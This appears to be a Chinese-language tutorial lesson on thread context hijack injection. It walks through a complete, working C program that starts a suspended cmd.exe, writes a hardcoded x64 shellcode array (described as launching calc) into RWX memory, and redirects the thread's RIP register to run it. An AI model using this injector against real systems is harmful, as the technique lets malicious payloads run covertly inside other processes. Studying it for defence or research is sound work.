12-设置上下文劫持注入(SetContext Hijack Injection)

一、前言

我们再来回顾一下在注入中常用寄存器的调用约定

// x64 注入
ctx.Rcx = 入口点地址  
ctx.Rdx = PEB地址
ctx.Rip = 入口点

// x86 注入 
ctx.Eax = 入口点地址
ctx.Ebx = PEB地址
ctx.Eip = 入口点

在x64架构中,RCXRIP 是非常重要的寄存器,它们在程序执行和函数调用中扮演着关键角色。在 进程镂空注入(Process Hollowing Injection) 那一下节中我介绍了通过 RCX 在进程初始化阶段改变程序的入口点,进而完全劫持进程入口点(间接控制)。而本节介绍的通过 RIP 劫持程序的原理是与 RCX 完全不一的原理,RIP 在进程注入中的核心原理是直接控制程序执行流程。

通过 RCX 劫持程序技术原理的核心是:重定位程序入口点,劫持进程初始执行流程,可以作为指令指针重定向。

而通过 RIP 劫持程序的技术原理的核心是:完全劫持程序执行流,无条件跳转到指定内存地址,绕过正常程序逻辑。

二、流程

  1. 使用 CreateProcessA 创建一个进程,并设置为挂起状态(CREATE_SUSPENDED)。官方文档:CreateProcessA 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

  2. 使用 VirtualAllocEx 在目标进程中申请一块 PAGE_EXECUTE_READWRITE 的内存区域。官方文档:VirtualAllocEx 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

  3. 使用 WriteProcessMemory 将shellcode写入目标内存区域中。官方文档:WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

  4. 使用 GetThreadContext 获取指定线程上下文。官方文档:GetThreadContext 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

  5. 将RIP寄存器的值修改为shellcode存放的内存区域的起始地址

  6. 使用 SetThreadContext+ResumeThread 设置线程上下文与恢复挂起进程

三、代码实现

#include<Windows.h>
#include<stdio.h>

int main() {
    // calc shellcode
	unsigned char shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
	};

	// 定义一些变量
	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT ctx = { 0 };
	ctx.ContextFlags = CONTEXT_ALL;

	// 使用 `CreateProcessA` 创建一个进程,并设置为挂起状态(CREATE_SUSPENDED)
	CreateProcessA(NULL, (LPSTR)"cmd", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

	// 使用 `VirtualAllocEx` 在目标进程中申请一块 `PAGE_EXECUTE_READWRITE` 的内存区域
	LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 使用 `WriteProcessMemory` 将shellcode写入目标内存区域中
	WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);

	// 使用 `GetThreadContext` 获取指定线程上下文
	GetThreadContext(pi.hThread, &ctx);

	// 将RIP寄存器的值修改为shellcode存放的内存区域的起始地址
	ctx.Rip = (DWORD64)lpBuffer;

	// 使用 `SetThreadContext+ResumeThread` 设置线程上下文与恢复挂起进程
	SetThreadContext(pi.hThread, &ctx);
	ResumeThread(pi.hThread);
	return 0;
}

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